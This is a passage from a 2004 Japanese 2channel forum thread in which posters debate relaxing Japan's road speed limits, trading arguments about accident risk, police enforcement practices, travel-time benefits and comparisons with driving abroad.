752 :名無しさん@お腹いっぱい。:04/03/05 22:37 ID:???
>>749
貴方の言いたい事はわかり易くていいですね。
ただし今よりも制限速度が低くなったら守るつもりは無いという考えは迷惑かもね。


753 :613:04/03/05 22:40 ID:???
>>744
>例えば、今まで行ったことがない道路(日本とは限らない)に突然来たとする。
>その道路には、標識が全くなく、制限速度や推奨速度の情報はない。
>わかるのは、目で確認できる道路状況のみ。
>さて、この道路はどのスピードで走るのが正しいでしょうか?

周りの状況にあわせばいいんでねぇ。

>よく考えてください。人生の全てを車の中で生活している人はいませんよね。
>当然ながら、規制緩和を唱えるドライバーも歩行者の立場は経験しています。
>よって、ドライバーの視点だけの意見とは言い切れないはずです。
それでもドライバーの視点なんだよね。車の中と外では、風景はまるで違うのだから。

754 :名無しさん@お腹いっぱい。:04/03/05 22:43 ID:???
>>750

スマンです、見落としました。

>規制緩和すれば別のメリットがある
>・良識的なドライバーが路上強盗的な取り締まりに怯えなくて良くなる
取締りを強盗と思う時点でアレだな

>・スピードトラップ回避のための加減速が不要になり、交通がより円滑になる
何がトラップよ? ゲームやりすぎ

>・違反者が少数派になる事で、多くのドライバーに対する遵法意識が高まる
違反者が多いから法を緩和してはいたちごっこの悪い見本になる

>・規制を緩和しても、道路環境は変わらないので、車の流れは大きく変化しない
だったらなんで規制緩和を黒魔術の呪文のように唱えるのかが疑問

>・本当に危険なDQNドライバーだけが摘発できる
アンタがDQNなんだよ、少しは自覚して欲しい


755 :名無しさん@お腹いっぱい。:04/03/05 22:46 ID:???
結局自分が捕まりたくないだけじゃん
そういう楽観的な考え方の人が心底うらやましい
俺も「自分の行為が法律だ!!!!!!!!」って言ってみたいよ


756 :613:04/03/05 22:46 ID:???
>>746
法定速度の見直しに賛成(−)
見直すということは、変えるってことと同意でしょ。
見直した結果、前と同じにするのであれば、それは見直しではなく、緩和要望の却下にすぎないわけだし。
法定速度の緩和に賛成(N)
速度超過の取り締まり強化に賛成(Y)
速度超過違反者の罰則を重くするに賛成(N)

757 :名無しさん@お腹いっぱい。:04/03/05 22:56 ID:???
ROMだが 613 はもうちょい冷静になってカキコしてくれんかな?
ヒステリー状態で、正しいはずのカキコがすっごく不快に感じられる。


758 :名無しさん@お腹いっぱい。:04/03/05 22:57 ID:???
>>613
見直すってのは検討するって事じゃないの?
結果を気にしたら何も出来ないよ。

自分が思うに今の制限速度が反対される理由は根拠を示していない事じゃないかな。
いろんな実験結果とか過去の事故の原因とかを、ちゃんと示せば納得する人も増えると思う。
女の話のようにぐだぐだ根拠ばかり話して結論を最後に言われるのもムカツクけど、
結論だけ言って根拠を示さないのも問題じゃないかな。


759 :名無しさん@お腹いっぱい。:04/03/05 23:27 ID:???
>>748
>自分の出す速度が法定速度とか思っている暴走族のような人たちか???
実際の暴走族はチンタラ走行だから、制限速度だけは守っているんだよ。
それ以外の違反はいっぱいするけどな。

>>753
>周りの状況にあわせばいいんでねぇ。
そうなのです。状況に合わせていけばいいのです。
その状況に合わない規制だから問題になっているのです。

>>758
そうですね。緩和反対派は緩和派を納得させるような資料を出してほしいですね。
できれば、2ちゃんねるだけでなく、一般サイトで公開してほしいですね。
日本中のドライバーが制限速度を守らないですから。

760 :613:04/03/05 23:36 ID:???
>>757
スマソ。ちょい感情的になってたかも。以後気をつけます。

>>758
まぁそうなんだけど、結果を気にしてしまうのです。
検討だけだと、日々行われてると思うけど、この検討は公安委員会でなされてるものであって、
根本的な基準は変わらないのだから、緩和派は納得しないよね。

自分的には、速度の二乗に比例して事故の被害は増大するってのと、
速度があがれば、事故が起きやすくなる(空走距離と制動距離の増加、危険の見落とし)
の二点で、速度超過がいけないと納得できるんだが(警察もこれで説明してると思う)、
緩和派は危険のリスクと、速度超過の因果関係を認めたがらないから。

761 :名無しさん@お腹いっぱい。:04/03/05 23:40 ID:MCei/KdD
レスの流れを乱して悪いが
緩和反対派の中で海外で運転したことのあるやつはいないのか?
いるなら感想を聞きたい

762 :613:04/03/05 23:43 ID:???
>>759
>その道路には、標識が全くなく、制限速度や推奨速度の情報はない。
場合限定の話です。

その状況にあわないのは、確かに問題ですので、
規制を緩和するのではなく、車の流れを規制速度に合わせる努力をするという解決策が最善だと思われます。
具体的な解決策ですが、取り締まり強化はどうでしょうか?

763 :名無しさん@お腹いっぱい。:04/03/05 23:50 ID:???
制限速度以下でしか走れないようにしたらどう?
ETCに連動して、車検時に装着を義務付けたら?
Nシステムなんかやめて。


764 :名無しさん@お腹いっぱい。:04/03/05 23:54 ID:???
>>759
758ですが規制緩和の立場での発言ではないです。
自分はあくまでも定められた法定速度は守るべきって考えです。
そして違反者は容赦なく取り締まるべきだと思ってます。
時速60キロって瞬時の判断に的確な判断を下すにはギリギリのラインかも。

そもそも現状維持派も速度規制緩和派も何を根拠にしたらいいのか判っていないのが問題だと思う。
自分の体験談だけではだれにも理解してもらえないのでは?
誰でも納得の行くデータが欲しいねぇ。


765 :名無しさん@お腹いっぱい。:04/03/06 00:04 ID:???
>>764
少し前に、設計速度君がいたけど、彼が最も根拠のある話をしていたかも。
道路構造令については詳しく知らないけど、色々な計算をして算出した値だろうから、
少なくとも、緩和派・現状派の両方にありがちな「脳内速度」ではないのは確か。

766 :名無しさん@お腹いっぱい。:04/03/06 00:44 ID:9Yx18KSC
>>746
>・法定速度の見直しに賛成(Y)
>・法定速度の緩和に賛成(Y)
>・速度超過の取り締まり強化に賛成(N)但し生活道路に関して賛成でも反対でもない。
>・速度超過違反者の罰則を重くするに賛成(N)



767 :名無しさん@お腹いっぱい。:04/03/06 00:45 ID:9Yx18KSC
>>753
>>それでもドライバーの視点なんだよね。車の中と外では、風景はまるで違うのだから。

この中で、生活道路の30km規制に反対してる人は居ないみたいですね。
私も生活道路の30km規制には賛成です。

つまり論点は幹線道路という前提ですが、歩行者は不用意に車道に出ない限り原則として危険にさらされる事はありません。
縁石を乗り越えて歩道に突っ込む事件も一応あるけど、全体から見るとかなりレアですし。
自転車は、車道走行にしている事自体が間違いだと思います。
車対自転車の死亡事故と、自転車対歩行者の死亡事故、あきらかに前者の方が可能性が高いですから。

従って、幹線道路に関してはドライバーの視点を主に考えても決して間違いではないと思います。


768 :名無しさん@お腹いっぱい。:04/03/06 01:09 ID:???
>>761
少し前ですが、以前にルーマニアの田舎で運転した事があります。
一般国道ですが見通しはかなり良かったです。
時速100-120km位、但しカーブは当然減速。
車種はオペルのステーションワゴン。
普通の大衆車です。

特に危険は感じなかったですね。
ちなみに途中で現地のお婆さんが同乗しました(道を訊いたら、方向が同じなので乗せてくれと言われた)。
その際は100kmを超えないように走ってましたが、お婆さんも特に危険を感じているような様子はなかったです。
途中でボルボが抜いて行きました。

点数制度の有無は不明ですが日本の免許証にまで及ぶとは思えない上に、貨幣価値が違うので罰金はかなり安いと判断して、取り締まりは気にせずに走ってました。
でも、街中では当然減速しましたよ。
事故は起こしたくありませんから。

他のドライバーも、街中ではきちんと減速してました。
メリハリのある規制なら、みんなきちんと守るようです。
ラテン人は個人主義者が多いなんてよく言いますが、それでも無茶な運転をする人は殆どいなかったですよ。

ちなみに後から訊いた話ですが、北部の田舎道ばかりだったので、警察によるレーダー取締りはまずなかったようです。
それでも危険を感じた事はなかったですね。
唯一の例外は、街中を走っている時に誤って反対車線を走行して、対向車のドライバーから肩をすくめられてしまいましたw


769 :名無しさん@お腹いっぱい。:04/03/06 01:50 ID:???
規制緩和といっても、前例のないことを始める訳じゃないんだよな。
なぜ、海外の一般的な基準に合わせるだけのことなのに、
世界レベルから言っても道路も車も高性能な日本に出来ないのか不思議だ。

770 :名無しさん@お腹いっぱい。:04/03/06 02:53 ID:???
そーだよね。
また事情が違うとか言うんだろうけど、それだったら一体どこが違ってその違いがどう交通事故の危険性に結びつくか具体的に指摘してもらいたいものだ。

人口密度が違うとか出そうだけど、どこの国だって首都周辺はそれなりに人口密度高いよ。
その首都周辺でも市街地以外は規制が緩いしね。
山が多いから低く抑えてるなら、郊外の平野部は緩和しても良いという事になる。


771 :名無しさん@お腹いっぱい。:04/03/06 08:30 ID:???
なんでいちいち海外に合わせなければならないのかが理解できません。
基準が違うと他の国の人にバカにされるのですか?
モノマネばかりの日本はもうウンザリ。


772 :名無しさん@お腹いっぱい。:04/03/06 09:08 ID:???
>>771
日本の道路事情にそぐわないから。

773 :名無しさん@お腹いっぱい。:04/03/06 09:38 ID:???
>>771
別にまねをするべきというのではないが、他の国で出来る事が何故日本では出来ないの?
条件に明確な相違があるなら構わないけど。


774 :613:04/03/06 14:12 ID:???
>>773
規制緩和にメリットがないためです。
出来ないのではなく、しないのだと思われます。

>>765
現状も設計速度を基準にしてますよ。
もちろん、別の理由も考慮し、設計速度より低めに定められている道路も多々ありますが。

775 :名無しさん@お腹いっぱい。:04/03/06 14:13 ID:???
>771
規制緩和の理由に欧米の例を挙げたらモノマネ?
基地外にも似た反応ですこと。

結局、規制の挙げる理由は通学路や騒音、歩行者のリスクなどだが、
生活道路の規制緩和を主張してる奴はいないようだ。
少なくとも、高規格道路として2m以上の歩道、グリーンベルト、中央分離帯
などを保持している片側2車線以上の道路の関しては70km制限が妥当かと。

776 :613:04/03/06 15:19 ID:???
>>775
欧米を例に出し、欧米にはこんないいところ(メリット)がある。
ってのなら、モノマネじゃないけど、
欧米と違うからおかしいでは、モノマネと言われても仕方ないのでは?

何人もの人が問うてるみたいだけど、規制緩和のメリットって一体何なのですか?
ちなみに、>>721のメリットは規制緩和のメリットではなく、規制を守ることのメリットだから。
現状派は、メリットのないものに賛同などできないのです。

規制緩和によるメリット(=現状の速度超過のメリット)は、
交通の時間短縮しかないと思うのだが。これじゃないの?

777 :名無しさん@お腹いっぱい。:04/03/06 15:24 ID:UXNlApKn
>>774
>規制緩和にメリットがない
規制緩和すると警察が本当に危険な場所での取り締まりにマンパワーを割けるよ

778 :777:04/03/06 15:34 ID:UXNlApKn
途中で切れちゃった
現状では見通しのよいところで路面の乾いた晴れた日に取り締まってる
ドル箱路線ってあるもんねぇ
取締りが適切なら現規制でも誰も文句いわないと思うんだよ
その辺は規制緩和反対派はどう思うんだ?
警察は正しい?
たとえ歩行者が多くて危険な街路での取締りが疎かにされて
ドル箱路線中心に反則金収入を稼いでいるとしても
(ついでに言うならいらいら事故のリスクを上昇させても)

779 :613:04/03/06 15:57 ID:???
>>777
>本当に危険な場所
ってのは、事故が起こる場所のことかと思いますが、
どこでも事故があり得るのだから、全ての場所が本当に危険な場所候補だと思います。

で、取り締まりをした結果、事故が防げたのであれば本当に危険な場所でなくなる。
というパラドックスも内在してます。

>>778
>現状では見通しのよいところで路面の乾いた晴れた日に取り締まってる
環境の悪いとき(速度を出していないとき)に取り締まりをせず、
環境の良いとき(速度を出しているとき)に取り締まりをするのは、反則金目当てではないかとの批判ですね。
取り締まりは交通違反に対してなされるもので、危険だからするものではないと思います。
その危険を警察が判断することになれば、客観的な理由での取り締まりができなくなり公平性を欠きます。

できる限り、取り締まりは公平に行う必要がありますので、
ドル箱路線中心に取り締まりをしてるのであれば、よくないかもしれませんね。
交通違反をしている人が等しい確立で取り締まられるのが望ましいですが、
全ての違反者を取り締まれない以上、「みせしめ摘発」の要素が内在するのも、
いたしかたないと思われます。

780 :613:04/03/06 15:59 ID:???
>>779の下三行目
確立→確率

781 :名無しさん@お腹いっぱい。:04/03/06 18:49 ID:???
>>779
>取り締まりをした結果、事故が防げたのであれば本当に危険な場所でなくなる。
これがパラドックスってのが意味がわかりません。

事故が起こる確率が高い場所ってものは実際に存在します。
どこでも事故が起こりうるのは当たり前ですが,
そういった場所で取り締まりを行った結果,
危険箇所が危険でなくなるというのは非常に有意義だと思うのですが。

613の言う事が間違ってると言うつもりはありませんが,
意見の批判のためだけの脳内理論が多々混じってるのも事実です。
もう少し客観的な観点から懐を深くして議論してはいかがでしょうか。




782 :名無しさん@お腹いっぱい。:04/03/06 19:11 ID:???
>>774
>>規制緩和にメリットがないためです。

何度も出てると思うのだが・・・。

1.移動時間の短縮。
確かに市街地の混んでいる所では時間短縮は微々たるものだが、そういった場所・時間では規制を緩和しても速度を出せないので、デメリットも発生しない。
一方信号の少ない郊外や連続立体交差の区間では、時間短縮のメリットが発生する。

2.順法意識の向上
現状ではコンセンサスを得られない異常な規制によって、順法意識が著しく低下している。
それにより、一般道100km超など本当に危険なスピードで走ってる人や生活道路で飛ばしてる人も非難される事が少ない。

例えばドイツでは、アウトバーンではかなりの速度で走ってるけど、警告標識を見たらみんな注意してアクセルを抜くか場合によってはブレーキで減速する。
日本の「危険」「走行注意「ゆっくり走ろう」などの看板とは、重みが違うからね。

3.警察組織全体に対する国民の支持が向上する
多くのドライバーが納得できない速度規制によって取り締まられたドライバーは、警察に対して良い印象は持たないでしょう。
結果、まじめに凶悪犯の捜査にあたっている他の警察官まで捜査に協力を得にくくなる。
それによって、治安の悪化を促進してしまう。

783 :613:04/03/06 19:52 ID:???
>>781
本当に危険な場所での取り締まりとは、結果論でしかないということです。

事故が起こらない場所で取り締まりをしているのか、
事故が起こる場所で取り締まりをした結果、事故が起こらなかったのかは神のみぞ知ることかと思います。
ですので、取り締まりが行われている場所は、取り締まりをせずとも安全だったとの批判は意味をなさない。
また、騒音対策としては確実に効果を発揮していると思われます。

もちろん、過去に事故が発生している個所を重点的に取り締まるべきかとは思いますが、
警察はドライバーのためだけの取り締まりをしているのではなく、周辺住民のためにも取り締まりをしてると思われます。
ってか、周辺住民の税金にて、警察はまかなわれているのでどちらかというと周辺住民びいきかと。

>事故が起こる確率が高い場所ってものは実際に存在します。
事故多発地帯のことかと思われますが、
事故多発地帯では警察が対策をしていないということでしょうか?
であれば、その点は非難に値すると思います。

784 :613:04/03/06 20:23 ID:???
>>782
>1.移動時間の短縮。
これは規制緩和のメリットですね。
問題はこのメリットがリスクを受け入れてまで、達成すべきメリットであるかだと思います。

>2.順法意識の向上
これは規制緩和で達成できるのか疑問です。
違反をすればルールが変わるという悪しき前例になるような気がしてならない。
また、現在ルールを守っている人の遵法意識は低下します。

他国、他の法律を見渡せば、遵法精神を向上するために、法を甘くしたケースは存在しないと思います。
逆に、厳しくしたケースはいくらでもありますが。

ちなみに諸外国(ホーチミン市)での遵法精神向上策として、
http://www.recycle-solution.jp/betonamu/beto3_6.html
>車、特にバイク台数の増加が大きな交通問題となっている。但し、大気汚染の目標値は守られている(目標値は不明)。
> 現状は人口約600万人(前記した2001.1の513万人と比較して随分大きい)に対して、バイク約200万台。
>1〜3台/家族。交通ルールが守られていない実態に関連して、市民の順法意識の向上策を、学生を対象に重点的に、実施している。
>ホーチミン市の人口予測は3%増/年(出生増1%、域外からの流入増2%。2010年の人口700万人)を見込んでおり、人口増以上にバイクが増える事が危惧されている。

785 :613:04/03/06 20:24 ID:???
> 対策として、次の事を考えている。
>a.バイク所有の抑制策として、バイクの輸入規制や関税アップ、バイク所有に対する課税。
>b.バスを増やす事。
>c.地下鉄等軌道系の建設について、外国の支援を得て、計画の検討をしている。地下鉄建設の実施には10年以上の長期間を要する事は承知しているが、やるしかないと考えているとの事。

また、例えば、ドイツは日本より交通事故による死者数が二割ほど多いです。
まぁ、お国事情が異なりますので、すんなりマネるわけにもいかないですね。
ドイツが遵法精神向上のために、その策を講じたわけではないのだから。

>3.警察組織全体に対する国民の支持が向上する
これも一長一短かと。全ての人が規制緩和に賛成ではないですので。

786 :613:04/03/06 20:54 ID:???
移動時間の短縮は、規制緩和によるメリットでありますが、
実際に効果がある「郊外」ってのは、一番死亡事故が多い。
事故原因は速度超過しているがために、
急な飛び出しや出会い頭による事故を回避できなかったものです。
なもんで、郊外の道路の制限速度は低く抑えられてます。
規制緩和すればますます死亡者でると思われますが、このリスクを負ってまで、
移動時間短縮に意味があるのか。

交通によるメリットは、物流、人の移動手段(バス、タクシー)、緊急時の緊急車両の通行、
また、ショベルカー、クレーンなどの特殊機材の車両ごとの移動、こんなところです。
緊急性のあるのは、パトカー、救急車、消防車の緊急車両のみで、他はそこまで急ぐ必要性がありません。
移動できることがメリットなのです。

移動時間短縮には、どのようなメリットがありますか?

787 :名無しさん@お腹いっぱい。:04/03/06 22:31 ID:???
>警察はドライバーのためだけの取り締まりをしているのではなく、
>周辺住民のためにも取り締まりをしてると思われます。
そうとも思えないけどねぇ。その道路を最も利用するのが周辺住民だし。
ただ、取り締まりの傾向を知っているので、捕まりにくいだけかと。
何度も書いているが、生活道路の規制を緩和しろという意見は見られない。

>また、現在ルールを守っている人 の遵法意識は低下します。
そもそも、現在ルールを守っている人がいないというのが現状なのですが。
卓上の論理ではなく、現実からアプローチして頂きたいですね。

>交通によるメリットは、〜(中略)〜移動時間短縮には、どのようなメリットがありますか?
移動時間短縮にメリットがなければ、なんで高い料金を払ってまで新幹線に乗るのですか?
座席の快適性だけなら、「ぷらっとこだま」で「こだま」グリーンに乗った方が安くて快適なのに、
「のぞみ」や「ひかり」の方が乗客が多いのはなぜですか?
これらは、単純に移動時間短縮にメリットを求めての行動でしょう。
航空や鉄道も交通の一部ですよね。しかも、>>786の説明で緊急性のあるものには入ってませんね。

788 :名無しさん@お腹いっぱい。:04/03/06 22:49 ID:Gvl8EtXe
で、613さんは北海道や海外の道を走ったことある?

789 :613:04/03/06 23:03 ID:???
>>787
>そうとも思えないけどねぇ。その道路を最も利用するのが周辺住民だし。
>ただ、取り締まりの傾向を知っているので、捕まりにくいだけかと。
>何度も書いているが、生活道路の規制を緩和しろという意見は見られない。
生活道路だけじゃ、ローソンまでも行けない。タバコも買いに行けないです。
生活道路以外も、周辺住人に意見を言わせてくださいな。

>そもそも、現在ルールを守っている人がいないというのが現状なのですが。
>卓上の論理ではなく、現実からアプローチして頂きたいですね。
100%守ってる人はなかなかいませんが(流れにのればどうしようもない)、
極力守ろうとしてる人はいます。

>移動時間短縮にメリットがなければ、なんで高い料金を払ってまで新幹線に乗るのですか?
「リスクを負ってまで」、移動時間短縮に意味があるのか。です。

新幹線は0または低リスクで、移動時間短縮を実現していますので。
参考までに、以下を見てください。
http://www.mlit.go.jp/tetudo/shinkansen/shinkansen3_2_1.html
車のリスクとは桁違いですね。過去5年で死者一人だけみたいです。
航空も鉄道(これは少し多いですが)も同じくリスクは低いです。
車社会もリスクが0であれば、規制緩和には反対しませんが、
現状は、年間の死亡者が一万人弱です。

790 :613:04/03/06 23:08 ID:???
>>788
どちらもないよ。
海外の規制緩和、または北海道のみの規制緩和を求めているのであれば、
その国または北海道の人たちだけで決めてね。ですが、
全国の規制緩和のようですので反対してます。

北海道だけでも反対する人はいてるとは思いますが(>>716のリンク先参照)。

791 :名無しさん@お腹いっぱい。:04/03/06 23:16 ID:???
>>779
>取り締まりは交通違反に対してなされるもので、危険だからするものではないと思います。
現在の規制と取り締まりの神髄ですね。まさに、公安の俺ルール。
車板の速度スレで、速度規制がない状況で選択する速度を「脳内標準速度」と呼んでいるのだが、
海外では、脳内標準速度を十分に考慮して制限が設定されるのに、
日本だけは、公安の俺ルールで設定され、脳内標準速度と大幅な乖離が生まれるため、
規制や取り締まりに対する不満は大きく、誰も守っていないという現状が出来ている。
おそらく、反対派は「脳内標準速度もドライバーの俺ルールじゃないか」と言うのだろうが、
実際にその道路を利用するのはドライバーだし、公安よりも遙かに人数が多く、
「公安の俺ルール」よりは十分に合理性が認められる。
脳内標準速度のメカニズムを無視して、規制で押さえつけようとしても遵法なんて無理ですよ。
これには、海外も日本も関係ない事ですので、事情が違うなんて言い訳は出来ません。

792 :名無しさん@お腹いっぱい。:04/03/06 23:17 ID:???
>>789
>>車のリスクとは桁違いですね。

その中には、一般道100km以上で暴走してる車や、生活道路を飛ばしてたケースも入ってますよね。
そういったものに関しては、抑止に反対はしてませんよ。


793 :名無しさん@お腹いっぱい。:04/03/06 23:25 ID:???
>>789
>>「リスクを負ってまで」、移動時間短縮に意味があるのか。です。

あなたが「意味が無い」と考えるのは勝手だが、現実に多くのドライバーは「意味がある」と考えている。
道路を見れば一目瞭然ですよね。


794 :613:04/03/06 23:26 ID:???
>>791
まず>>738のレスを見てください。あと>>743と。
・事故を起こし、交通刑務所に入っている人
・交通事故の被害者、またその遺族
・交通弱者である歩行者や自転車、
・道路周辺に住む人
の意見も盛り込まれていません。
これに追加し、交通の研究に生涯を費やしている専門家の意見も盛り込まれていません。

>おそらく、反対派は「脳内標準速度もドライバーの俺ルールじゃないか」と言うのだろうが、
そのとおりです。

795 :名無しさん@お腹いっぱい。:04/03/06 23:32 ID:???
>>790
>>716のリンクを見ましたけど、速度規制については書いてないみたいですね。
北海道なので、見学する事も出来なさそうなので、何とも言えませんね。
とりあえず、書いている内容だけをピックアップすれば、
自転車専用道の設置と信号システムの改良を求めているように見えますが。
ちなみに、自転車専用道と信号システムの改良には賛成ですね。
自転車専用道は自転車だけでなく、歩行者や車の円滑な交通の助けになりますし、
分離信号は右左折時の安全性向上にもなりますので。
公安も交通安全を実現したかったら、こういうところから手をつけるべきでしょう。
自転車専用道はともかく、分離信号はプログラムの改良で済むはず。

796 :名無しさん@お腹いっぱい。:04/03/06 23:32 ID:???
>>784
>>>2.順法意識の向上
>>これは規制緩和で達成できるのか疑問です。
>>違反をすればルールが変わるという悪しき前例になるような気がしてならない。

元々コンセンサスを得られるような法律にすべきだったのを、誰も守らないような規則にしてしまったのだから、今からでも間違いは正すべきです。
力にものを言わせて取り締まり強化で解決しようとしても、無理だと思いますよ。

>>また、現在ルールを守っている人の遵法意識は低下します。

全く居ない訳ではないでしょうけど、かなり少ないですよね。

797 :名無しさん@お腹いっぱい。:04/03/06 23:42 ID:???
>>794
>交通の研究に生涯を費やしている専門家の意見も盛り込まれていません。
むしろ、現在の規制の方が専門家の意見が盛り込まれてなさそうだが。
専門家なら、脳内標準速度のメカニズムを考慮して対策を立ててくるはず。
数少ない例ではあるが、大阪にある生活道路の交差点では特殊なペイントで
道路に膨らみがあるように錯覚させて平均速度を落とさせるのに成功しました。
しかし、そのようなケースは希ですね。

798 :名無しさん@お腹いっぱい。:04/03/06 23:43 ID:???
>>794
>>・交通事故の被害者、またその遺族
>>・交通弱者である歩行者や自転車、
>>・道路周辺に住む人
>>の意見も盛り込まれていません。

ほんとに盛り込まれてない?
こういう人達も免許持ってる人は多いよね。
ドライバーにはそういう人達も含まれてる筈。
まあ18才未満の歩行者や自転車はドライバーには含まれないだろうけど、親はかなりの確率でドライバーですよね。

で、それでも大部分のドライバーが守ってない規則なんです。



799 :名無しさん@お腹いっぱい。:04/03/06 23:57 ID:qFc+IXjy
で、緩和反対派はある日もし規制速度があがったら
それにあわせて走るのか
それとも昨日までと状況が変わらないのだからそれまでと同様の走り方をするのか


800 :613:04/03/07 00:01 ID:???
>>798
一ドライバーとしてなら、盛り込まれているかもしれませんが、
全体の0.1%もいない被害者・遺族の意見を、一ドライバーとして盛り込むだけでは少なすぎます。
メリットを享受している大多数のドライバーと、同じ配分で極少数の被害者の意見を盛り込む必要があるかと。
でなければ、ただの数の暴力になってしまいますので。

交通弱者や周辺住人についても盛り込まれていません。
この人たちがドライバーかつ速度超過者とすれば、少なからずとも同意しているのでしょうが、
親と子供は別人です。また、免許所持率は100%でもありません。

そして、速度超過している人全てが、その速度を認めているわけではないです。

801 :613:04/03/07 00:02 ID:???
>>799
それにあわせて走りますが。

802 :613:04/03/07 00:05 ID:???
>>797
効果があるのであれば、すぐに全国で真似られると思います。

803 :名無しさん@お腹いっぱい。:04/03/07 01:37 ID:???
>>789
新幹線や飛行機と比較ですか?
比較するなら移動した人間の数と距離の変数が必要ですね。
移動距離と人数を計算に入れたら自動車が特別リスクが高いとは感じませんが。

ちなみに俺は学校近くや歩行者の多い生活道路でネズミ捕りをやってるのは見たことない。
また大事故発生場所とかの看板は見るが、そこが狭い道路の場合、警官がスピード違反を監視しているのも見たことがない。
俺が見たことのあるスピード違反取り締まりは全て80kmでも安全であろう
広く、歩道も整い、歩行者用陸橋などが整備された道路だな。

よって警察が危険を未然に防ごうなどと考えてるとは思えないな。



804 :名無しさん@お腹いっぱい。:04/03/07 02:16 ID:???
>>800
>>メリットを享受している大多数のドライバーと、同じ配分で極少数の被害者の意見を盛り込む必要があるかと。

すると、少数意見も多数意見と同じ比率で反映するべきだと?
少なくとも民主主義国家においては、最終決定は多数決によるのが原則だと思うのですが・・・
なかには2/3の賛成が要件という場合もあるけど、「全体の0.1%もいない被害者・遺族の意見」を多数意見と同レベルに扱うというのはそれこそ公平性を欠くのでは?

>>でなければ、ただの数の暴力になってしまいますので。

数の暴力というのは、少数派の犠牲において多数派の利益を図る規則を、数に任せて通してしまうという意味に理解してよろしいですね。
だとすると、この場合当てはまりませんね。

ドライバーも、交通事故遺族も、今後事故に遭う確率は大差ないでしょう。
利害自体の相違は、基本的に無い訳です。

この場合、利害でなく見解の相違でしょうね。
よく整備された一般道を80kmで走るのが、許容出来ないほど危険であるどうか?
それはまさに「少しの人が間違うよりも、多数の人が間違う方が、可能性が低い」という民主主義の前提となっている法則が当てはまる事例ではないですか?

>>親と子供は別人です。

それはそうですが、では子供の意見を尊重しろという事ですか?
法律では、未成年者が重要な決定をする際には親権者が代理する事になってます。
実際15才未満の子供に意思決定させるのは現実的でないでしょう。
高校生に関しては微妙ですが、彼らの多くが厳しい速度規制を望んでいると、本気で思ってますか?


805 :名無しさん@お腹いっぱい。:04/03/07 03:49 ID:jjFmBvXb
>>779=613
全ての違反者を取り締まれない以上、「みせしめ摘発」の要素が内在するのも、
いたしかたないと思われます。





お前は馬鹿か

806 :ぱんぱん:04/03/07 05:14 ID:93cSpLzD
夜の高速って危ないからつかまらないんですかぁ?


807 :名無しさん@お腹いっぱい。:04/03/07 09:50 ID:???
まぁお互い言いたい事も良く理解できるんだけどね。
「制限則後が低い」なんて免許取ったら誰でも一度は思う事だろうし、
飛び出しなど危険な目に遭えば少しのスピードオーバーが大きな危険を
招く事も理解できるだろうし。
ホントはみんな自分の意見に反対する人の言う事わかってるんでしょ?

今後法定速度がどうなるのであれ、スピード出すなら自己責任で頼む。
スピード出すなら捕まる事を覚悟するべきだし、捕まりたくなければ速度を控える。
納得いかなくても規則を破った事実は変わらないのだから自覚するべし。


808 :名無しさん@お腹いっぱい。:04/03/07 10:10 ID:???
>>796

多少誤解があるようなので補足しておくね。
・現状維持派=現在法定速度を常に守っている
・規制緩和派=普段速度超過している
上の2式は成り立たないと思います。

現状維持派だって覚悟を決めてスピード出す時もあるし、規制阪和派には
しっかり法定速度を守っているからこそ「もう少しスピード出しても安全に
走れて快適なのでは?」と思う人もいる事でしょう。

「皆が守らない規則だから改正を」って言うのはなんか違うと思うな。
流れが速くて煽られるから周りに合わせてスピード出す人だって居ると思うし。


809 :名無しさん@お腹いっぱい。:04/03/07 11:23 ID:???
>>807
>今後法定速度がどうなるのであれ、スピード出すなら自己責任で頼む。
そう、規制緩和してドライバーの自己責任に任せるのが理想だね。

810 :613:04/03/07 13:25 ID:???
>>804
>少なくとも民主主義国家においては、最終決定は多数決によるのが原則だと思うのですが・・・
議論した上での多数決でね。

>なかには2/3の賛成が要件という場合もあるけど、
>「全体の0.1%もいない被害者・遺族の意見」を
>多数意見と同レベルに扱うというのはそれこそ公平性を欠くのでは?
イラク派兵の問題において、リスクを一身に享受する自衛隊員の意見を
メリットを一身に享受する国民と同レベルに扱うのが公平性に欠きますか?
人数の多少よりも、メリット側とリスク側を同等に扱わなければ公平性に欠きます。

そして、現在の日本は、少数であるリスクを享受する側の意見も、
十分に考慮できる人(国会議員)の議論の上で物事が決まります。

>それはそうですが、では子供の意見を尊重しろという事ですか?
子供の立場を尊重しろです。

811 :613:04/03/07 13:32 ID:???
>>793
>>>「リスクを負ってまで」、移動時間短縮に意味があるのか。です。
>あなたが「意味が無い」と考えるのは勝手だが、現実に多くのドライバーは「意味がある」と考えている。
>道路を見れば一目瞭然ですよね。
「リスクを負ってまで」とは、自分が事故にあるリスクと他人が事故に巻き込まれるリスクの両方です。
そして、他人にリスクを負わせてまで、移動時間短縮させる意味はあるのですか?

また、死というリスクを負って、死というリスクを負わせてまで意味があると述べるのに、
なぜ、取り締まりによる反則金程度のリスクを甘受できないのですか?
他人の死というリスクはいくらでも受け入れるが、
自分の反則金のリスクは絶対嫌だって言ってるように思えますが。

812 :613:04/03/07 13:52 ID:???
>>807
>「制限則後が低い」なんて免許取ったら誰でも一度は思う事だろうし、
>飛び出しなど危険な目に遭えば少しのスピードオーバーが大きな危険を
>招く事も理解できるだろうし。
>ホントはみんな自分の意見に反対する人の言う事わかってるんでしょ?
わかってますよ。
自分も免許取ってすぐ後に、かなりの速度超過状態になったもん。
18のガキが教習所で、制限速度の必要性を教えられ、
(合宿でとったもんだから、速度超過が当たり前とはこのときには気づかなかった。)
地元に帰り実際に走ってみると、誰も制限速度など守ってない。

40、50の大人が20キロの速度超過で走ってるんだから、
18やそこらのガキは40キロの速度超過で走ります。
今思い出しても、ガクガクブルブルです。よく事故らなかったなと。
10代、20代で人生アポーンするような運転してる人がどれだけ多いことか。

この状況の根本的な問題点は、DQNがDQNであることではなく、
DQNではない人が、DQNな運転をしていることにあると思ってます。

現状の車の速度をDQNな速度でないとすれば、
年間一万人ほどの死者と100万人ほどの怪我人のリスクを
交通社会が避けられないリスクとして甘受したことになります。
欧米はこのリスクを甘受してますので、制限速度が甘いですが、
日本では、もっとリスクの少ない交通社会を目指したいです。

813 :名無しさん@お腹いっぱい。:04/03/07 13:57 ID:???
規制緩和反対派は規制を緩和すると「危ない」とか「事故が起こる」とか言うけど、
仮に、制限速度で走っていたからといって、100%安全ということはあり得ないよね。
逆に、制限速度を超えたからといって、必ず事故が起こるということもあり得ないよね。
だったら、道路の利用者に決めさせるのが最も理にかなっているんじゃないのかな。
利用者が決めた速度=車の流れは尊重すべきだよ。公安は交通規制の神様じゃないのだから。

814 :613:04/03/07 13:57 ID:???
>>809
